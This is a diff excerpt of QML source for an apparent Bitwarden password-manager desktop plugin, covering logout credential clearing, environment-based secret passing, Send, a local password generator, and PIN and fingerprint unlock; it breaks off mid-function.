requestPinCredentialClear() { + if (keyringClearPinProc.running) { + pinClearPending = true + return + } + pinClearPending = false + keyringClearPinProc.running = true + } + + function requestMasterCredentialClear() { + if (keyringClearMasterProc.running) { + masterClearPending = true + return + } + masterClearPending = false + keyringClearMasterProc.running = true + } + + function credentialStoresRunning() { + return keyringStoreProc.running || pinStoreProc.running || keyringStoreMasterProc.running + } + + function requestAllCredentialClear() { + if (keyringClearAllProc.running) { + allCredentialsClearPending = true + return + } + // A clear that wins the race against an older store is not cleanup: that + // store can recreate the credential immediately afterward. Logout remains + // pending until every writer has exited and this final sweep has run. + if (credentialStoresRunning()) { + allCredentialsClearPending = true + return + } + allCredentialsClearPending = false + keyringClearAllProc.running = true + } + + // Logging out takes the keyring with it. Two of the entries there are the + // master password -- fingerprint unlock keeps it as it is, PIN unlock keeps + // it encrypted -- and both are written to the default collection so they + // survive a reboot, which is exactly why a logout has to be the end of them. + // + // Nothing here asks whether we think an entry exists. `fingerprintStored` + // and `pinConfigured` describe what the settings screen last saw, and both + // go false for reasons that leave the keyring untouched: an unplugged + // reader, an uninstalled fprintd, a dependency probe that has not answered + // yet. Gating the clear on them is how a master password came to outlive the + // account it belonged to. See keyringClearAllCommand() for why asking + // unconditionally is free. + function forgetStoredCredentials() { + requestAllCredentialClear() + // The learned-suggestion store is this account's data too -- which domains + // and apps it holds logins for, and when each was last used -- and unlike + // everything else here it is a plain file with no expiry. It goes with the + // account rather than waiting for the next user of this machine to read it. + associationsEpoch += 1 + pendingAssociationsJson = "" + associationsWritePending = false + if (associationsWriteProc.running) { + associationsClearPending = true + associationsWriteProc.running = false + } else { + associationsClearPending = false + associationsClearProc.running = true + } + associations = Model.emptyAssociations() + suggestedItems = [] + detectedContext = null + activeWindowData = null + cancelFingerprintUnlock() + fingerprintStored = false + fingerprintMessage = "" + pinConfigured = false + pinEntry = "" + pinAttempts = 0 + pinError = "" + if (pinUnlock) writeSetting("pinUnlock", false, "bool") + } + + // ------------------------------------------------------------------------- + // Fingerprint Unlock + // ------------------------------------------------------------------------- + + // Secrets go to secret-tool through the environment, never argv. See + // keyringStoreScript() in BitwardenModel.js for why stdin is not usable. + function associationsEnv() { + var env = {} + env[Model.associationsEnvVar()] = String(pendingAssociationsJson || "") + return env + } + + // BW_SESSION rather than --session: bw reads it natively, and it keeps the + // token out of /proc//cmdline, which any local user can read. + function bwEnv(extra) { + var env = {} + if (session) env[Model.sessionEnvVar()] = String(session) + if (extra) for (var k in extra) env[k] = extra[k] + return env + } + + // Authentication credentials enter short-lived processes through the + // environment. Direct password flows move BW_PASSWORD from the writer into + // bw's private FIFO; API login reads BW_PASSWORD, BW_CLIENTID and + // BW_CLIENTSECRET natively. None reaches an argv -- neither bw's nor that of + // the shell wrapping it. + // /proc//cmdline is world-readable on a default install; environ is not. + // + // Read as a binding by loginProc and unlockProc, so it always reflects the + // fields as they are when the process starts. + function authEnv(password, clientId, clientSecret, code) { + var env = bwEnv() + env[Model.noInteractionEnvVar()] = "true" + if (password) env[Model.passwordEnvVar()] = String(password) + if (clientId) env[Model.clientIdEnvVar()] = String(clientId) + if (clientSecret) env[Model.clientSecretEnvVar()] = String(clientSecret) + // The only one bw has no environment option for; see the comment on + // TWOFACTOR_CODE_ENV in BitwardenModel.js. + if (code) env[Model.twoFactorCodeEnvVar()] = String(code) + return env + } + + function loginProcessEnv() { + if (loginMethod === "apikey") { + // This is a live Process binding. Keep fields out of its retained value + // until an actual API login starts, instead of duplicating credentials + // into both the form and the process object while the user is typing. + if (!loginSubmitted) return authEnv("", "", "", "") + return authEnv(loginPassword, + String(loginClientId || "").trim(), + String(loginClientSecret || "").trim(), + String(login2faCode || "").trim()) + } + // The one login allowed to prompt. BW_NOINTERACTION is left out rather + // than set to anything, since bw tests it against the literal "true", and + // the code goes in for the command's own printf to read -- authEnv() is + // not used here precisely because it would put the flag back. + if (deviceVerificationAttempt) { + var deviceEnv = bwEnv() + deviceEnv[Model.deviceCodeEnvVar()] = String(loginDeviceCode || "").trim() + return deviceEnv + } + // Email/password login reads its password from the FIFO writer. Keeping it + // out of the long-lived prewarmed process also keeps partial typing out of + // that process's environment. + return authEnv("", "", "", String(login2faCode || "").trim()) + } + + function itemEnv() { + var e = {} + e[Model.itemEnvVar()] = String(itemPayloadJson || "") + return bwEnv(e) + } + + function folderEnv() { + var e = {} + e[Model.folderEnvVar()] = Model.folderPayload(newFolderName) + return bwEnv(e) + } + + function sendEnv(json) { + var e = {} + e[Model.sendEnvVar()] = String(json || "") + return bwEnv(e) + } + + function pinEnv(pin, secret) { + var env = {} + env[Model.pinEnvVar()] = String(pin || "") + if (secret) env[Model.keyringSecretEnvVar()] = String(secret) + return env + } + + function secretEnv(value) { + var env = {} + env[Model.keyringSecretEnvVar()] = String(value || "") + return env + } + + // ------------------------------------------------------------------------- + // Bitwarden Send + // ------------------------------------------------------------------------- + + function openSends() { + closeFilterGroup() + sendMode = "list" + sendError = "" + sendIndex = 0 + currentScreen = "sends" + loadSends() + } + + function loadSends() { + if (!session) return + sendsLoading = true + beginVaultRead("sends") + listSendsProc.command = Model.listSendsCommand() + listSendsProc.running = true + } + + function onSendsLoaded(raw) { + sendsLoading = false + if (vaultReadIsStale("sends")) return + sends = Model.parseSends(raw) + if (sendIndex >= sends.length) sendIndex = Math.max(0, sends.length - 1) + } + + function beginCreateSend() { + sendFormName = "" + sendFormText = "" + sendFormHidden = false + sendFormDays = 7 + sendFormMaxAccess = 0 + sendFormPassword = "" + sendError = "" + sendMode = "create" + Qt.callLater(function() { sendNameField.forceActiveFocus() }) + } + + function submitCreateSend() { + if (!String(sendFormText || "").trim()) { + sendError = "Nothing to send -- enter some text" + return + } + sendError = "" + sendBusy = true + sendPayloadJson = JSON.stringify(Model.buildSendPayload( + sendFormName, sendFormText, sendFormHidden, + sendFormDays, sendFormMaxAccess, sendFormPassword, "")) + beginVaultRead("sendCreate") + createSendProc.command = Model.createSendCommand() + createSendProc.running = true + } + + function onSendCreated(exitCode, stdoutText, stderrText) { + sendBusy = false + sendPayloadJson = "" + if (vaultReadIsStale("sendCreate")) return + if (exitCode !== 0) { + sendError = String(stderrText || "").trim() || "Could not create the Send" + return + } + // bw prints the access URL; put it straight on the clipboard, since a Send + // is useless until the link reaches someone. + var created = null + try { created = JSON.parse(stdoutText) } catch (e) { created = null } + var url = created && created.accessUrl ? String(created.accessUrl) : String(stdoutText || "").trim() + if (url) { + copyToClipboard(url, "Send link") + } else { + flashNotification("Send created") + } + sendFormText = "" + sendFormPassword = "" + sendMode = "list" + loadSends() + } + + function copySendLink(send) { + if (!send || !send.accessUrl) return + copyToClipboard(send.accessUrl, "Send link") + } + + function deleteSend(send) { + if (!send || !send.id) return + sendBusy = true + beginVaultRead("sendDelete") + deleteSendProc.command = Model.deleteSendCommand(send.id) + deleteSendProc.running = true + } + + function onSendDeleted(exitCode) { + sendBusy = false + if (vaultReadIsStale("sendDelete")) return + if (exitCode !== 0) { + sendError = "Could not delete the Send" + return + } + flashNotification("Send deleted") + loadSends() + } + + function moveSendCursor(delta) { + if (sends.length === 0) return + sendIndex = Math.max(0, Math.min(sends.length - 1, sendIndex + delta)) + } + + // ------------------------------------------------------------------------- + // Generator + // ------------------------------------------------------------------------- + + // Reached from the header button on any screen and from the item form's + // Generate button, which is the same thing: the form is just a caller that + // wants the value back. + function openGenerator() { + closeFilterGroup() + generatorReturnScreen = (currentScreen === "edit") ? "edit" : "main" + screenBeforeSettings = "main" + currentScreen = "generator" + // A form asking for a password wants a new one every time. A standalone + // visit keeps whatever was last generated, so reopening does not throw + // away a value you were about to copy. + if (generatorFeedsForm || !genValue) regenerate() + } + + function closeGenerator() { + var toForm = generatorFeedsForm + currentScreen = generatorReturnScreen + generatorReturnScreen = "main" + // Land back on the field the trip was about, filled in or not. + if (toForm) Qt.callLater(function() { formPassField.forceActiveFocus() }) + } + + // The whole point of the round trip: put the value in the field the caller + // was on, and go back to it. + function useGeneratedPassword() { + if (!generatorFeedsForm || genBusy || !genValue) return + formPassword = genValue + // Show it. A password you cannot read is hard to trust, and it is going + // into a form you are still filling in rather than straight to the vault. + formPasswordRevealed = true + closeGenerator() + flashNotification("Generated password filled in") + } + + // Generation is delegated to Bitwarden's own generator either way; the only + // question is how we reach it. `bw serve` answers in ~2ms against ~2.9s for + // a fresh `bw generate`, so the server is started on first use and the CLI + // stays as the fallback for when it cannot be. + function generatorOptionsSignature() { + return JSON.stringify(Model.normalizeGeneratorOptions(genOpts)) + } + + function regenerate() { + if (generateCliStopping) { + genBusy = true + genRegeneratePending = true + return + } + if (genBusy) { + genRegeneratePending = true + return + } + genBusy = true + genRegeneratePending = false + genRequestSignature = generatorOptionsSignature() + beginVaultRead("generator") + if (generateServeReady) { + requestGeneratedValue() + return + } + startGeneratorServe() + // Nothing to wait on if the server is already coming up -- onExited or the + // ready poll will drive the request. + if (!generateServeStarting) regenerateViaCli() + } + + function regenerateViaCli() { + genBusy = true + genRegeneratePending = false + genRequestSignature = generatorOptionsSignature() + generateProc.command = Model.generateCommand(genOpts) + generateProc.running = true + } + + // A locked server: no session in its environment, so it can generate and + // nothing else. See the comment on generateServeCommand in BitwardenModel.js + // for why that restriction is the whole point. + function generatorServeEnv() { + var env = {} + env[Model.sessionEnvVar()] = null + env[Model.noInteractionEnvVar()] = "true" + return env + } + + // Nothing about an HTTP 200 proves the process that sent it is ours. Another + // account can bind the port first and answer /generate with passwords it + // already knows, and the panel would show one as freshly generated. There is + // no handshake to lean on -- `bw serve` prints no banner and offers no + // authentication -- so the evidence has to be that the port was silent before + // our own server took it. Anything already answering means the serve path is + // not available, and the CLI carries the feature instead. + function startGeneratorServe() { + if (generateServeReady || generateServeStarting || generateServeFailed) return + generateServeStarting = true + probeGeneratorPort() + } + + // Every request to the generator port goes through a bounded child process + // rather than QML's XMLHttpRequest. XMLHttpRequest buffers responses in + // shared shell process memory before JavaScript can inspect or abort them, + // leaving the shell vulnerable to unbounded allocations from a rogue local + // port responder. The child process bounds both duration (--max-time) and + // payload volume (| head -c 65536) on the producer side, ensuring no more + // than 64KB ever enters the shell process. + // + // `done` is called with (exitCode, stdout, stderr). + property var generateServeRequestCallback: null + + function generatorRequest(opts, done) { + if (generateServeRequestStopping || generateServeRequestProc.running) { + generateServeRequestPending = true + generateServeRequestPendingOptions = opts + generateServeRequestPendingCallback = done + return + } + generateServeRequestCallback = done + generateServeRequestProc.command = Model.generateServeRequestCommand(opts) + generateServeRequestProc.running = true + } + + function resumePendingGeneratorRequest() { + if (!generateServeRequestPending) return false + var pendingOptions = generateServeRequestPendingOptions + var pendingCallback = generateServeRequestPendingCallback + generateServeRequestPending = false + generateServeRequestPendingOptions = null + generateServeRequestPendingCallback = null + Qt.callLater(function() { + if (root.opened && root.currentScreen === "generator") + root.generatorRequest(pendingOptions, pendingCallback) + }) + return true + } + + function probeGeneratorPort() { + generatorRequest(null, function(exitCode, stdout, stderr) { + if (Model.generatorProbeIsForeign(exitCode, stdout)) { + root.generateServeStarting = false + root.generateServeFailed = true + if (root.genBusy) root.regenerateViaCli() + return + } + // The screen can close while a probe is in flight, and starting a server + // for a screen nobody is looking at is the exposure this all avoids. + if (root.currentScreen !== "generator") { + root.generateServeStarting = false + return + } + generateServeProc.running = true + generateServePoll.attempts = 0 + generateServePoll.restart() + }) + } + + function stopGeneratorServe() { + var cancelCliGeneration = genBusy && generateProc.running + generateServePoll.stop() + generateServeStarting = false + generateServeReady = false + // A deliberate shutdown is not the permanent bind failure, so the next + // visit is free to start a server again. + generateServeFailed = false + genBusy = false + genRegeneratePending = false + genRequestSignature = "" + generateServeRequestPending = false + generateServeRequestPendingOptions = null + generateServeRequestPendingCallback = null + if (generateServeRequestProc.running + && !Model.isScrubCommand(generateServeRequestProc.command)) { + generateServeRequestCallback = null + generateServeRequestStopping = true + generateServeRequestProc.running = false + } + if (cancelCliGeneration) { + generateCliStopping = true + generateProc.running = false + } + if (generateServeProc.running) { + generateServeStopping = true + generateServeProc.running = false + } + } + + // The server is up when it answers. Polling rather than trusting a fixed + // delay: bw takes a couple of seconds to bind, and the first generator open + // should not sit behind a guess. + function pollGeneratorServe() { + if (generateServeRequestProc.running) return + generatorRequest(root.genOpts, function(exitCode, stdout, stderr) { + if (exitCode !== 0) return + var value = Model.parseServeGenerated(stdout) + if (!value) return + root.generateServeStarting = false + root.generateServeReady = true + generateServePoll.stop() + root.onGenerated(value, 0) + }) + } + + function requestGeneratedValue() { + generatorRequest(root.genOpts, function(exitCode, stdout, stderr) { + var value = exitCode === 0 ? Model.parseServeGenerated(stdout) : "" + if (value) { + root.onGenerated(value, 0) + return + } + // The server went away mid-session, or stopped behaving like one; fall + // back and stop trusting it. + root.generateServeReady = false + root.regenerateViaCli() + }) + } + + function onGenerated(text, exitCode) { + if (vaultReadIsStale("generator")) { + genBusy = false + genRegeneratePending = false + return + } + if (genRegeneratePending || genRequestSignature !== generatorOptionsSignature()) { + genBusy = false + genRegeneratePending = false + regenerate() + return + } + genBusy = false + var v = String(text || "").trim() + if (exitCode !== 0 || !v) { + errorMessage = "Could not generate with these options" + return + } + genValue = v + } + + // Every control funnels through here, so a change always regenerates -- + // matching the extension's live behaviour -- and options stay normalised. + function setGenOpt(key, value) { + var next = {} + for (var k in genOpts) next[k] = genOpts[k] + next[key] = value + genOpts = Model.normalizeGeneratorOptions(next) + regenerate() + } + + function copyGenerated() { + if (genBusy || !genValue) return + copyToClipboard(genValue, genOpts.type === "passphrase" ? "Passphrase" : "Password") + } + + // ------------------------------------------------------------------------- + // PIN Unlock + // ------------------------------------------------------------------------- + + function refreshPinConfigured() { + if (!keyringHasPinProc.running) keyringHasPinProc.running = true + } + + function onPinConfiguredChecked(raw) { + pinConfigured = String(raw || "").trim() === "yes" + } + + function beginPinSetup() { + pinSetupPin = "" + pinSetupConfirm = "" + pinSetupMaster = "" + pinError = "" + screenBeforeSettings = "main" + currentScreen = "pin" + Qt.callLater(function() { pinSetupPinField.forceActiveFocus() }) + } + + function abandonPinSetup() { + if (pinStoreProc.running) invalidateEpochOperation("pinStore") + pinBusy = false + pinSetupPin = "" + pinSetupConfirm = "" + pinSetupMaster = "" + } + + // Encrypting needs the master password, and the vault does not keep it in + // memory once unlocked, so setting a PIN has to ask for it. + function submitPinSetup() { + if (pinBusy || pinStoreProc.running) return + var err = Model.validatePin(pinSetupPin, pinSetupConfirm) + if (err) { pinError = err; return } + if (!pinSetupMaster) { pinError = "Master password is required to encrypt the PIN"; return } + + pinError = "" + pinBusy = true + beginEpochOperation("pinStore") + pinStoreProc.running = true + } + + function onPinStored(exitCode) { + pinBusy = false + if (epochOperationIsStale("pinStore")) { + pinConfigured = false + pinSetupPin = "" + pinSetupConfirm = "" + pinSetupMaster = "" + requestPinCredentialClear() + return + } + if (exitCode !== 0) { + pinError = "Could not save the PIN. Is the OS keyring available?" + return + } + pinConfigured = true + pinSetupPin = "" + pinSetupConfirm = "" + pinSetupMaster = "" + pinAttempts = 0 + writeSetting("pinUnlock", true, "bool") + flashNotification("PIN unlock enabled") + currentScreen = "settings" + } + + function submitPinUnlock() { + if (!sshAuthSurfaceActive || !pinReady || isUnlocking || pinBusy) return + if (String(pinEntry || "").length < Model.pinMinLength()) { + pinError = "PIN must be at least " + Model.pinMinLength() + " digits" + return + } + pinError = "" + pinBusy = true + pinUnlockSubmitted = true + pinUnlockProc.command = Model.pinUnlockCommand() + pinUnlockProc.running = true + } + + function onPinUnlockResult(exitCode, password) { + var accepting = pinUnlockSubmitted && sshAuthSurfaceActive && status === "locked" + pinUnlockSubmitted = false + pinBusy = false + if (!accepting) { + clearProcessCollectorSoon(pinUnlockProc) + return + } + var pw = String(password || "") + + if (exitCode !== 0 || !pw) { + pinAttempts += 1 + pinEntry = "" + if (pinAttempts >= pinMaxAttempts) { + // Refuse to keep serving guesses at the UI. The ciphertext goes too, + // so re-enabling requires the master password again. + clearPin() + pinError = "Too many incorrect PINs. PIN unlock has been removed -- use your master password." + } else { + pinError = "Incorrect PIN (" + pinAttempts + " of " + pinMaxAttempts + ")" + } + return + } + + pinAttempts = 0 + pendingUnlockFrom = "pin" + unlockVaultWithPassword(pw) + } + + function clearPin() { + requestPinCredentialClear() + pinConfigured = false + pinEntry = "" + pinAttempts = 0 + if (pinUnlock) writeSetting("pinUnlock", false, "bool") + } + + function disablePinUnlock() { + clearPin() + pinError = "" + flashNotification("PIN unlock removed") + } + + onPinUnlockChanged: { + if (pinUnlock) refreshPinConfigured() + else if (pinConfigured) clearPin() + } + + // ------------------------------------------------------------------------- + // Setup Wizard & Settings + // ------------------------------------------------------------------------- + + function checkDependencies() { + if (!depsCheckProc.running) depsCheckProc.running = true + } + + function onDependenciesChecked(raw) { + dependencies = Model.parseDependencies(raw) + depsChecked = true + if (pinUnlock) refreshPinConfigured() + + // Fingerprint availability comes from the same probe, so keep them in step. + for (var i = 0; i < dependencies.items.length; i++) { + if (dependencies.items[i].key === "fprintd") fingerprintAvailable = dependencies.items[i].ready + } + if (fingerprintAvailable && fingerprintUnlock) { + if (!keyringHasMasterProc.running) keyringHasMasterProc.running = true + } else { + fingerprintStored = false + } + + // A missing required tool is not something to discover mid-task. + if (Model.missingRequired(dependencies).length > 0) setupWasGated = true + + var next = Model.dependencyProbeOutcome(dependencies, setupDismissed, statusProbeStarted, setupWasGated) + if (next === "setup") { + currentScreen = "setup" + } else if (next === "probe") { + // Either the first look at the vault this session, or the one that + // follows an install landing. onStatusFinished puts up whichever screen + // the answer calls for, so setup gets left behind without being told to. + setupWasGated = false + refreshStatus() + } + } + + readonly property var missingRequired: Model.missingRequired(dependencies) + readonly property var installablePackages: Model.missingPackages(dependencies) + // Whether anything on the setup screen is still waiting on the user. Covers + // the setup rows too, so a fingerprint enrolment running in its own terminal + // is watched for the same way an install is. + readonly property bool setupActionsPending: { + var rows = Model.applicableDependencies(dependencies) + for (var i = 0; i < rows.length; i++) { + if (!rows[i].ready) return true + } + return false + } + + function installMissing() { + var pkgs = Model.missingPackages(dependencies) + var cmd = Model.installPackagesCommand(pkgs, + pkgs.length === 1 ? "Bitwarden CLI" : "Bitwarden plugin dependencies") + if (!cmd) return + Quickshell.execDetached(cmd) + flashNotification("Installing -- this screen updates itself") + } + + function installOne(dep) { + if (!dep) return + // Omarchy's setup command owns its own rows; `pkg add` on one of those + // would install a package and leave the row exactly as red as it was. + if (dep.setup) { + runFingerprintSetup() + return + } + var cmd = Model.installPackagesCommand([dep.pkg], dep.label) + if (!cmd) return + Quickshell.execDetached(cmd) + flashNotification("Installing " + dep.pkg + " -- this screen updates itself") + } + + // Stepping past setup. The gate is what was holding the first status probe + // back, so opening it has to release that probe as well -- otherwise the + // panel would sit on a login screen it never actually asked `bw` about. + function dismissSetup() { + setupDismissed = true + currentScreen = status === "unlocked" ? "main" + : (status === "locked" ? "locked" : "login") + if (!statusProbeStarted) refreshStatus() + } + + function runFingerprintSetup() { + Quickshell.execDetached(Model.fingerprintSetupCommand()) + flashNotification("Fingerprint setup opened -- this screen updates itself") + } + + // A setting whose dependency is missing is inert; the cursor may sit on it, + // but changing it would silently do nothing. + function settingBlocked(entry) { + if (!entry || !entry.requires) return false + for (var i = 0; i < dependencies.items.length; i++) { + if (dependencies.items[i].key === entry.requires) return !dependencies.items[i].ready + } + return false + } + + // Group headings are rows in the list but not controls, so the cursor steps + // over them rather than stopping on one and doing nothing when activated. + function moveSettingsCursor(delta) { + var n = settingsEntries.length + if (n === 0) return + var step = delta < 0 ? -1 : 1 + var i = settingsIndex + delta + while (i >= 0 && i < n && settingsEntries[i] && settingsEntries[i].kind === "group") i += step + // A heading at the far end leaves nowhere further to go in that direction; + // the cursor stays where it was rather than landing on the heading. + if (i < 0 || i >= n) return + settingsIndex = i + } + + function firstSettingIndex() { + for (var i = 0; i < settingsEntries.length; i++) { + if (settingsEntries[i] && settingsEntries[i].kind === "setting") return i + } + return 0 + } + + // Left/right nudge a value: numbers by their step, switches off and on. + function adjustSetting(direction) { + var e = settingsEntries[settingsIndex] + if (!e || settingBlocked(e)) return + + if (e.type === "int") { + var cur = Number(settingValue(e)) + var step = e.step || 1 + var next = Math.max(e.min || 0, Math.min(e.max || 100, cur + direction * step)) + if (next !== cur) writeSetting(e.key, next, "int") + return + } + + if (e.type === "bool") { + var want = direction > 0 + if (Boolean(settingValue(e)) !== want) activateSettingRow() + } + } + + // The lane every vertical scrollbar in this panel gets to itself. + // + // These bars are overlays: left alone they draw on top of whatever occupies + // the right edge of the view, which across these screens is toggles, number + // fields, copy buttons and the ends of elided text. Every scrolling view + // subtracts this from its content width, so the bar has somewhere to be and + // the right-hand edges of all of them line up. + // + // Measured from a real scrollbar rather than guessed at, so a theme with a + // wider one does not put it back over the controls. One bar stands in for + // all of them because they are the same control with the same style; the + // floor covers both a null reference and the frames before it has an + // implicit width of its own. + readonly property real scrollGutter: + Math.max(settingsScrollBar ? settingsScrollBar.implicitWidth : 0, Style.space(10)) + + // Which section the view is currently inside, named by the pinned indicator. + // Held rather than derived, because it depends on delegate geometry the + // Repeater only knows after layout, and a binding cannot read that without + // fighting it. + property var settingsStickyEntry: null + + // The settings view's two geometry questions, in one place. Everything else + // that needs them goes through these rather than reaching into the Flickable + // and the Repeater by id from across the file. + function settingsViewportTop() { return settingsFlick ? settingsFlick.contentY : 0 } + function settingsRepeaterItem(i) { + return settingsRepeater ? settingsRepeater.itemAt(i) : null + } + + // The section the view is currently inside: the last heading at or above the + // top of the viewport, while any part of its section is still on screen. + // + // Both halves matter. Without the first the bar sits empty until the user + // has scrolled, which is the one position everybody starts from. Without the + // second the last group stays named through the maintenance and danger-zone + // rows below it, which belong to no section and would leave the bar + // describing somewhere the user had already scrolled past. + // + // Drawing the heading twice is prevented at the other end: the in-list + // heading of whichever section this names is drawn transparent, so it keeps + // its place in the layout without appearing alongside its own copy. + function updateSettingsSticky() { + var entries = settingsEntries + var top = settingsViewportTop() + var found = null + + for (var i = 0; i < entries.length; i++) { + if (!entries[i] || entries[i].kind !== "group") continue + var row = settingsRepeaterItem(i) + if (!row) continue + // Still below the top edge: the section before this one is the one the + // view is in. + if (row.y > top + 1) break + if (top < settingsSectionEnd(i)) found = entries[i] + } + settingsStickyEntry = found + } + + // Where the section beginning at `index` stops: the next heading, or for the + // last one, the bottom of the final row before the trailing action blocks. + function settingsSectionEnd(index) { + var entries = settingsEntries + for (var i = index + 1; i < entries.length; i++) { + if (!entries[i] || entries[i].kind !== "group") continue + var next = settingsRepeaterItem(i) + if (next) return next.y + } + for (var j = entries.length - 1; j > index; j--) { + var last = settingsRepeaterItem(j) + if (last) return last.y + last.height + } + var self = settingsRepeaterItem(index) + return self ? self.y + self.height : 0 + } + + function activateSettingRow() { + var e = settingsEntries[settingsIndex] + if (!e || settingBlocked(e)) return + + // These two open a form rather than flipping a value. + if (e.action === "pin") { + if (pinConfigured) disablePinUnlock() + else beginPinSetup() + return + } + if (e.action === "fingerprint") { + if (fingerprintStored) forgetFingerprintUnlock() + else beginFingerprintSetup() + return + } + if (e.type === "bool") writeSetting(e.key, !settingValue(e), "bool") + } + + function openSettings() { + closeFilterGroup() + if (currentScreen !== "settings") screenBeforeSettings = currentScreen + settingsFlash = "" + settingsIndex = firstSettingIndex() + uwsmFlash = "" + uwsmConfirmPending = false + checkDependencies() + inspectUwsmFragment() + currentScreen = "settings" + Qt.callLater(updateSettingsSticky) + } + + function closeSettings() { + currentScreen = (screenBeforeSettings === "settings" ? "main" : screenBeforeSettings) + } + + // Persisted via `omarchy bar set`, which owns shell.json. The shell reloads + // on write, so setting() reflects the new value without us caching it. + function writeSetting(key, value, type) { + settingWriteProc.command = Model.settingWriteCommand(key, value, type) + settingWriteProc.running = true + settingsFlash = "Saved" + settingsFlashTimer.restart() + } + + // The remembered two-step method is not a preference anybody set, so it is + // written without the settings screen's "Saved" flash -- it is a note the + // login leaves for the next one, and it has no row to flash next to. + function writeSettingQuietly(key, value, type) { + settingWriteProc.command = Model.settingWriteCommand(key, value, type) + settingWriteProc.running = true + } + + function rememberTwoFactorMethod(method) { + if (!Model.isTwoFactorMethod(method)) return + if (method === rememberedTwoFactorMethod) return + var next = Model.rememberTwoFactorMethodIn(twoFactorMethodStore, loginEmail, method) + if (next) writeSettingQuietly("twoFactorMethods", next, "json") + } + + function forgetTwoFactorMethod() { + if (rememberedTwoFactorMethod < 0) return + var next = Model.forgetTwoFactorMethodIn(twoFactorMethodStore, loginEmail) + if (next) writeSettingQuietly("twoFactorMethods", next, "json") + } + + // Read back through the same properties the plugin actually runs on, so the + // settings screen can never show a different value than the one in effect. + // (setting() alone would miss the manifest defaults for unset keys.) + function settingValue(entry) { + if (!entry) return 0 + switch (entry.key) { + case "autoLockMinutes": return autoLockMinutes + case "clearClipboardSec": return clearClipboardSec + case "lockOnScreenLock": return lockOnScreenLock + case "lockOnSuspend": return lockOnSuspend + case "autoCopyTotpSec": return autoCopyTotpSec + case "closeOnCopy": return closeOnCopy + case "suggestOnOpen": return suggestOnOpen + case "rememberSession": return rememberSession + case "fingerprintUnlock": return fingerprintUnlock && fingerprintStored + // The toggle reflects a PIN actually being set, not just the flag. + case "pinUnlock": return pinUnlock && pinConfigured + case "sshAgentEnabled": return sshAgentEnabled + case "sshAgentUnlockOnDemand": return sshAgentUnlockOnDemand + case "sshAgentApprovalPopup": return sshAgentApprovalPopup + case "sshAgentApprovalWindowSec": return sshAgentApprovalWindowSec + } + return entry.type === "bool" ? Model.boolSetting(entry.key, setting(entry.key, entry.defaultValue)) : Number(setting(entry.key, 0)) + } + + function refreshFingerprintAvailability() { + checkDependencies() + } + + function onFingerprintStoredChecked(raw) { + fingerprintStored = String(raw || "").trim() === "yes" + if (sshAuthSurfaceActive && status === "locked") startFingerprintUnlock() + } + + function startFingerprintUnlock() { + if (!fingerprintReady || status !== "locked" || isUnlocking) return + if (fingerprintScanning || fingerprintPam.active) return + if (!userName) { + fingerprintMessage = "Cannot determine current user for fingerprint verification" + return + } + + errorMessage = "" + fingerprintAuthorized = false + fingerprintScanning = true + fingerprintMessage = "󰈷 Touch the fingerprint reader..." + if (!fingerprintPam.start()) { + fingerprintScanning = false + fingerprintMessage = "Could not start fingerprint verification" + } + } + + function cancelFingerprintUnlock() { + fingerprintScanning = false + fingerprintAuthorized = false + if (fingerprintPam.active) fingerprintPam.abort() + } + + function onFingerprintResult(result) { + var accepting = fingerprintScanning && sshAuthSurfaceActive && status === "locked" + fingerprintScanning = false + if (!accepting) return + + if (result === PamResult.Success) { + fingerprintAuthorized = true + fingerprintMessage = "󰈷 Fingerprint verified, unlocking..." + if (!keyringLookupMasterProc.running) { + keyringLookupMasterProc.command = Model.keyringLookupMasterPasswordCommand() + keyringLookupMasterProc.running = true + } + } else if (result === PamResult.MaxTries) { + fingerprintMessage = "Too many fingerprint attempts. Use your master password." + } else { + fingerprintMessage = "Fingerprint not recognised. Try again or use your master password." + } + } + + // Only ever called after PamResult.Success. + function onFingerprintPasswordRetrieved(raw) { + if (!fingerprintAuthorized || !sshAuthSurfaceActive || status !== "locked") { + fingerprintAuthorized = false + clearProcessCollectorSoon(keyringLookupMasterProc) + return + } + fingerprintAuthorized = false + // The keyring command removes secret-tool's output newline. Do not trim + // here: spaces at either end can be part of the actual master password. + var pw = String(raw || "") + if (!pw) { + fingerprintStored = false + fingerprintMessage = "No stored master password. Unlock with your password once to enable this." + return + } + pendingUnlockFrom = "fingerprint" + unlockVaultWithPassword(pw) + } + + // Enrolling asks for the master password up front, the same way setting a + // PIN does, rather than silently capturing it on some later unlock. + function beginFingerprintSetup() { + fpSetupMaster = "" + fpError = "" + currentScreen = "fingerprint" + Qt.callLater(function() { fpMasterField.forceActiveFocus() }) + } + + function abandonFingerprintSetup() { + var active = fpSetupActive + if (active && keyringStoreMasterProc.running) invalidateEpochOperation("masterStore") + fpSetupActive = false + fpBusy = false + fpSetupMaster = "" + if (active) masterToStore = "" + } + + function submitFingerprintSetup() { + if (fpBusy || keyringStoreMasterProc.running) return + if (!fpSetupMaster) { + fpError = "Master password is required to enable fingerprint unlock" + return + } + fpError = "" + fpBusy = true + fpSetupActive = true + masterToStore = fpSetupMaster + beginEpochOperation("masterStore") + keyringStoreMasterProc.running = true + } + + function onMasterPasswordStored(exitCode) { + masterToStore = "" + pendingUnlockPassword = "" + if (epochOperationIsStale("masterStore")) { + fpSetupActive = false + fpBusy = false + fpSetupMaster = "" + fingerprintStored = false + requestMasterCredentialClear() + return + } + fingerprintStored = (exitCode === 0) + + if (fpSetupActive) { + fpSetupActive = false + fpBusy = false + fpSetupMaster = "" + if (exitCode !== 0) { + fpError = "Could not save the master password. Is the OS keyring available?" + return + } + writeSetting("fingerprintUnlock", true, "bool") + flashNotification("Fingerprint unlock enabled") + currentScreen = "settings" + return + } + + if (exitCode !== 0) { + errorMessage = "Could not save master password to the OS keyring, so fingerprint unlock is unavailable." + } + } + + function forgetFingerprintUnlock() { + requestMasterCredentialClear() + fingerprintStored = false + cancelFingerprintUnlock() + fingerprintMessage = "" + flashNotification("Fingerprint unlock forgotten") + } + + onFingerprintUnlockChanged: { + if (!fingerprintUnlock) { + cancelFingerprintUnlock() + fingerprintMessage = "" + // Not `if (fingerprintStored)`. That flag is false whenever the reader + // or fprintd is missing, which says nothing about whether the master + // password is still sitting in the keyring -- and turning the feature + // off is precisely when it must not be. + forgetFingerprintUnlock() + } else { + refreshFingerprintAvailability() + } + } + + // ------------------------------------------------------------------------- + // Vault Unlock & Lock + // ------------------------------------------------------------------------- + + function unlockVault() { + pendingUnlockFrom = "" + unlockVaultWithPassword(masterPassword) + } + + function unlockVaultWithPassword(pass) { + var p = String(pass === undefined || pass === null ? "" : pass) + if (!p) { + errorMessage = "Master password required" + return + } + 